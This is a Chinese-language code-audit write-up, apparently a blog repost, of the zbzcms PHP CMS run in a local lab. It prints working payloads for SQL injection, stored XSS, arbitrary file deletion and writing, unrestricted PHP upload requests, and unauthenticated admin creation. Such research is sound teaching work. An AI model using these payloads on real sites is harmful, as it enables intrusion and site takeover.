zbzcms审计供新手学习

文章首发于奇安信攻防社区:https://forum.butian.net/share/1215

前言

也是源自于闲来无事 在之前逛cnvd的时候 发现的cms 然后下下来了一直没审
现在也是审了一下
cms也比较老了 有段时间没更新了

也没用很难 供新手学习(篇幅有点长)

下载地址:http://zbzcms.com/

工具:seay phpstorm phpstudy
还是老方法 先用审计工具跑一波

开始

1

还是现看看首页长什么样子

2

是一个智能家居网站

然后逐步分析 工具跑步来的漏洞

第一处 任意文件删除

3

我们点进去查看详细

4

发现没有做任何的校验判断
$run从上面发现 也是通过GET传的

5

通过审计工具也可以直接看到路径

/zbzcms.com/cms/cms/include/up.php?run=del

那我们来构造一下
先在up.php同目录下创建一个txt

6

构造一下

7

执行后页面返回1
然后查看文件夹

8

成功删除
我们在上一级目录在创建一个2.txt

9

然后构造执行

10

11

也成功删除

第二处 前台sql注入

第一处注入点

12

点进去详细查看

13

这里没有做过滤 我们到phpstorm里面看sql文件

14

在这个文件中可以看到 是有一个处理函数的 但是只针对 insert 和update

15

select查询函数并没有处理和其他的过滤 可直接导致注入 进行 延时注入

16

直接丢sqlmap跑了

payload:python sqlmap.py -u “http://127.0.0.1/zbzcms.com/cms/common/php/ajax.php?run=dj&id=1“ -p id

17

第二处注入点

差不多和上面的一样功能点 从代码上看

18

也是get传参 调用select函数 没有任何过滤

路径127.0.0.1/zbzcms.com/cms/common/php/ajax.php?run=ad&id=1
直接构造payload了:127.0.0.1/zbzcms.com/cms/common/php/ajax.php?run=ad&id=1 and sleep(2)

19

也是可以延时盲注的

第三处注入

20

跟进查看

21

这直接妥妥的注入了 啥防护都没有 直接接受get参数
直接构造

payload:[http://127.0.0.1/zbzcms.com/cms/cms/include/make.php?php=1&art=1%20and%20sleep(5](http://127.0.0.1/zbzcms.com/cms/cms/include/make.php?php=1&art=1 and sleep(5))

22

就不丢sqlmap演示了

第四处注入

23

我们跟进代码

24

这里的问题出现在tid这个参数
通过前面我们可以看到 如果if判断失败的话 进入else if 通过获取get传参 然后传入sql语句 这里也是没有任何防范
但是这里需要简单闭合一下阔号
我们构造

payload:http://127.0.0.1/zbzcms.com/cms/cms/include/zidong.php?id=1&tid=3)+and+sleep(1)%23&laiyuan=0&sou=1&wid=1+and+sleep(1)%23&laiyuan=0&sou=1&wid=1)

25

这里tid参数的值还是有点点讲究 必须和数据库里面存的tid值其中之一是一样的

26

第三处 前台存储xss

这个是在发现注入的时候看见的

27

这处留言的地方
问题出现在neirong这个参数没有经过任何过滤就输出到了页面 并且还存入了数据库 所以导致后台查看的时候直接执行了

这出xss需要用POST的请求方法 因为从代码上可以看到 if的判断条件是$_POST 不为空
然后我们来到页面构造xss

28

执行之后 我们登入后台来查看留言

29

30(1)

查看详情也是直接就弹

31

F12查看代码 语句也加载进来了

32

第四处 文件上传

文件上传1

33

从路径可以发现是后台的 (但没影响 后面发现有api路径 就是任意上传)

34

啥过滤 判断都没有 直接传
因为刚开始麻烦找payload数据那些 就在后台去找了一下上传点抓包

35

上传的时候抓包

36

然后复制返回的路径 拼接到url上打开

37

也是成功执行
整体

payload:url路径:/zbzcms.com/cms/cms/admin/ajax.php?run=youad_pic
参数:
-——-WebKitFormBoundary1yVpo1vIVcMvlXNA
Content-Disposition: form-data; name=”0”; filename=”yjh.php”
Content-Type: application/octet-stream

herman

-——-WebKitFormBoundary1yVpo1vIVcMvlXNA—

文件上传2

38

来到phpstorm 可以发现没有任何的过滤

39

直接获取到路径这些就上传
那我们直接构造

payload:
POST /zbzcms.com/cms/cms/include/up.php?run=file&path=../../upload/up/&filename=0 HTTP/1.1
Host: 192.168.1.7
Content-Length: 238
Accept: application/json, text/javascript, /; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Content-Type: multipart/form-data; boundary=——WebKitFormBoundaryqwBQidHCCHB076er
Origin: http://192.168.1.7
Referer: http://192.168.1.7/zbzcms.com/cms/cms/admin/type.php?id=1&dq=3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,is;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=utnoq283ip9p4fuu5dfm56qmo5
Connection: close

-——-WebKitFormBoundaryqwBQidHCCHB076er
Content-Disposition: form-data; name=”0”; filename=”yjh.php”
Content-Type: application/octet-stream

herman

-——-WebKitFormBoundaryqwBQidHCCHB076er—

40

我们的访问地址:http://192.168.1.7/zbzcms.com/cms/upload/up/16422582210.php 因为有两个../嘛 所以路径变了

41

文件上传3

42

在这个upload.php文件下
这里也是没有做任何的过滤
name为1的时候 也跳过了下面的后缀判断
直接构造payload:

43

也是成功写入

44

45

文件上传4

在另一个路径下http://192.168.1.7/zbzcms.com/cms/cms/zbzedit/php/zbz.php
我们来看代码

46

47

进行了一些花里胡哨的操作 主要的问题 还是没有任何过滤和限制
通过path和path_res控制路径
data_pic_name 控制文件名0改名1不改
然后就是上传了
那就直接构造

payload:
POST /zbzcms.com/cms/cms/zbzedit/php/zbz.php?run=uptxt&path=../../../upload/up/&path_res=../../upload/up/&data_pic_name=1 HTTP/1.1
Host: 192.168.1.7
Content-Length: 238
Accept: application/json, text/javascript, /; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Content-Type: multipart/form-data; boundary=——WebKitFormBoundaryQy3ayf3rnYVYcEcG
Origin: http://192.168.1.7
Referer: http://192.168.1.7/zbzcms.com/cms/cms/zbzedit/edit.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,is;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=utnoq283ip9p4fuu5dfm56qmo5
Connection: close

-——-WebKitFormBoundaryQy3ayf3rnYVYcEcG
Content-Disposition: form-data; name=”0”; filename=”yjh.php”
Content-Type: application/octet-stream

herman

-——-WebKitFormBoundaryQy3ayf3rnYVYcEcG—

48

49

成功上传

第五处 任意文件写入

本来这个是在看上传的 结果看到 一个文件保存的地方 存在一个经典的文件写入函数file_put_contents
然后就分析了一波 发现是存在任意文件写入的

50

这里首先是判断的run参数 然后获取post传参的值 然后判断魔术引号那个设置是否开启 相当于放注入一些转义的功能
如果开启 在用stripslashes() 函数把反斜杠删去
然后下面就直接写入了
当时这个文件是在admin目录下 相当于后台的 但是通过上面的权限控制发现 可以直接绕过 这登录判断相当于就没有
我们来看上面判断登录的代码

51

通过run参数的值来判断 这不搞笑嘛 run不等于这个值不久 直接不判断了 直接执行下面的
好了 现在来构造payload:

52

执行之后

53

54

也是成功的写入 以及访问到
如果get_magic_quotes_gpc()函数开启的话 写马就需要用没有引号的马子

第六处 未授权任意管理员添加

还是这个文件
有一个add 操作 没有指定表

55

可直接任意指定表 我们往admin表添加一个用户
构造payload

这里post参数就是根据数据库的字段来填的

56

执行之后

57

也是成功的添加进来
未授权删除 修改

58

逻辑都一样

第七处 任意文件删除

59

这里延续上面的文件上传3的 upload文件

60

这里存在if else判断 没进入上传的条件的话 就执行下面的删除操作
也是没有任何过滤 直接通过传参del跟上路径 直接任意删除 我们先在目录下创建一个1.txt

61

在上一级目录下创建 然后我们构造payload 删除
http://192.168.1.7/zbzcms.com/cms/cms/include/upload.php?del=../1.txt

62

63

也是成功删除

第八处 未授权添加管理员

64

问题出现在这个文件 这个文件夹前面我们也分析过 这里漏了一个管理员添加
也是直接构造run参数 未授权添加

65

然后查看数据库

66

但是发现这个时候 是没有等级的 相当于权限 也就等不进去

67

但是这个文件前面有一个判断是判断是否登录的

68

我们先通过login 来得到session
直接构造

69

注意 这里是pwd

执行之后

然后将这个路径http://192.168.1.7/zbzcms.com/cms/cms/admin/复制到 url
回车即可

70

还有一种方式

在添加管理员的时候 把等级参数 填上

71

然后查看数据库

72

刚添加的abc 权限为1
直接登录

73

最后

如果有什么说的不好的地方请师傅们指出~

联系方式关于页面


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!